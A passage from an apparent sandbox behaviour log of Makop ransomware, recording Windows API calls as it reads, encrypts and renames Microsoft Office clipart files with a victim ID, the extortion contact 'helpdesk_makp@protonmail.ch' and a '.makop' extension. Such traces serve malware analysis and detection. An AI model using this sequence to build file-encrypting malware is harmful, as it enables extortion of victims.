nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0111.860] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0111.860] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0111.860] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0111.860] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0111.860] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0111.861] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x9dc, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x9dc, lpOverlapped=0x0) returned 1 [0111.861] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x9e0, dwBufLen=0x9e0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x9e0) returned 1 [0111.861] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0111.861] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x9e0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x9e0, lpOverlapped=0x0) returned 1 [0111.861] CryptDestroyKey (hKey=0x48c7128) returned 1 [0111.861] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xab4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0111.861] SetEndOfFile (hFile=0xf0) returned 1 [0111.869] GetProcessHeap () returned 0x48a0000 [0111.869] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0111.869] GetProcessHeap () returned 0x48a0000 [0111.869] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0111.869] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01585_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0111.869] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01585_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01585_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01585_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01585_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0111.871] CloseHandle (hObject=0xf0) returned 1 [0111.871] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4bf93000, ftCreationTime.dwHighDateTime=0x1bd4bf3, ftLastAccessTime.dwLowDateTime=0x51d817b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4bf93000, ftLastWriteTime.dwHighDateTime=0x1bd4bf3, nFileSizeHigh=0x0, nFileSizeLow=0x914, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01586_.WMF", cAlternateFileName="")) returned 1 [0111.871] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01586_.WMF") returned 63 [0111.871] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01586_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01586_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0111.872] GetProcessHeap () returned 0x48a0000 [0111.872] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0111.872] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0111.872] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0111.872] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xc, lpOverlapped=0x0) returned 1 [0111.877] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0111.877] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0111.877] GetProcessHeap () returned 0x48a0000 [0111.877] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0111.877] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0111.877] CryptDestroyKey (hKey=0x48c7128) returned 1 [0111.877] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0111.877] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0111.877] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0111.878] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0111.878] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0111.878] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0111.878] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0111.878] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0111.878] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0111.878] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x914, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x914, lpOverlapped=0x0) returned 1 [0111.878] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x920, dwBufLen=0x920 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x920) returned 1 [0111.879] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0111.879] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x920, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x920, lpOverlapped=0x0) returned 1 [0111.879] CryptDestroyKey (hKey=0x48c7128) returned 1 [0111.879] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x9f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0111.879] SetEndOfFile (hFile=0xf0) returned 1 [0111.887] GetProcessHeap () returned 0x48a0000 [0111.887] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0111.887] GetProcessHeap () returned 0x48a0000 [0111.887] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0111.887] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01586_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0111.887] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01586_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01586_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01586_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01586_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0111.889] CloseHandle (hObject=0xf0) returned 1 [0111.889] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf28f0200, ftCreationTime.dwHighDateTime=0x1bd4bee, ftLastAccessTime.dwLowDateTime=0x51d817b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf28f0200, ftLastWriteTime.dwHighDateTime=0x1bd4bee, nFileSizeHigh=0x0, nFileSizeLow=0x4a7c, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01628_.WMF", cAlternateFileName="")) returned 1 [0111.889] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01628_.WMF") returned 63 [0111.889] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01628_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01628_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0111.890] GetProcessHeap () returned 0x48a0000 [0111.890] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0111.890] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0111.890] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0111.890] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0111.894] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0111.894] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0111.894] GetProcessHeap () returned 0x48a0000 [0111.894] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0111.894] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0111.894] CryptDestroyKey (hKey=0x48c7128) returned 1 [0111.894] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0111.895] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0111.895] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0111.895] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0111.895] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0111.896] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0111.897] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0111.897] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0111.897] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0111.897] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x4a7c, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x4a7c, lpOverlapped=0x0) returned 1 [0111.899] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x4a80, dwBufLen=0x4a80 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x4a80) returned 1 [0111.899] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0111.899] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x4a80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x4a80, lpOverlapped=0x0) returned 1 [0111.899] CryptDestroyKey (hKey=0x48c7128) returned 1 [0111.899] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x4b54, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0111.900] SetEndOfFile (hFile=0xf0) returned 1 [0111.907] GetProcessHeap () returned 0x48a0000 [0111.907] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0111.907] GetProcessHeap () returned 0x48a0000 [0111.907] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0111.907] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01628_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0111.907] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01628_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01628_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01628_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01628_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0111.908] CloseHandle (hObject=0xf0) returned 1 [0111.909] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaa241400, ftCreationTime.dwHighDateTime=0x1bd4bef, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xaa241400, ftLastWriteTime.dwHighDateTime=0x1bd4bef, nFileSizeHigh=0x0, nFileSizeLow=0x244, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01629_.WMF", cAlternateFileName="")) returned 1 [0111.909] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01629_.WMF") returned 63 [0111.909] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01629_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01629_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0111.909] GetProcessHeap () returned 0x48a0000 [0111.909] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0111.910] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0111.910] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0111.910] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xc, lpOverlapped=0x0) returned 1 [0111.914] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0111.915] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0111.915] GetProcessHeap () returned 0x48a0000 [0111.915] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0111.915] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0111.915] CryptDestroyKey (hKey=0x48c7128) returned 1 [0111.915] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0111.915] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0111.915] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0111.915] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0111.916] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0111.916] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0111.917] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0111.917] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0111.917] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0111.917] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x244, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x244, lpOverlapped=0x0) returned 1 [0111.917] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x250, dwBufLen=0x250 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x250) returned 1 [0111.917] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0111.917] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x250, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x250, lpOverlapped=0x0) returned 1 [0111.917] CryptDestroyKey (hKey=0x48c7128) returned 1 [0111.918] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x324, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0111.918] SetEndOfFile (hFile=0xf0) returned 1 [0111.925] GetProcessHeap () returned 0x48a0000 [0111.925] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0111.925] GetProcessHeap () returned 0x48a0000 [0111.925] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0111.925] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01629_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0111.925] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01629_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01629_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01629_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01629_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0111.928] CloseHandle (hObject=0xf0) returned 1 [0111.928] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef951100, ftCreationTime.dwHighDateTime=0x1bd4bf0, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xef951100, ftLastWriteTime.dwHighDateTime=0x1bd4bf0, nFileSizeHigh=0x0, nFileSizeLow=0x128, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01630_.WMF", cAlternateFileName="")) returned 1 [0111.929] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01630_.WMF") returned 63 [0111.930] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01630_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01630_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0111.930] GetProcessHeap () returned 0x48a0000 [0111.930] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0111.930] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0111.931] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0111.931] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0111.935] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0111.935] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0111.935] GetProcessHeap () returned 0x48a0000 [0111.935] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0111.935] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0111.935] CryptDestroyKey (hKey=0x48c7128) returned 1 [0111.935] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, 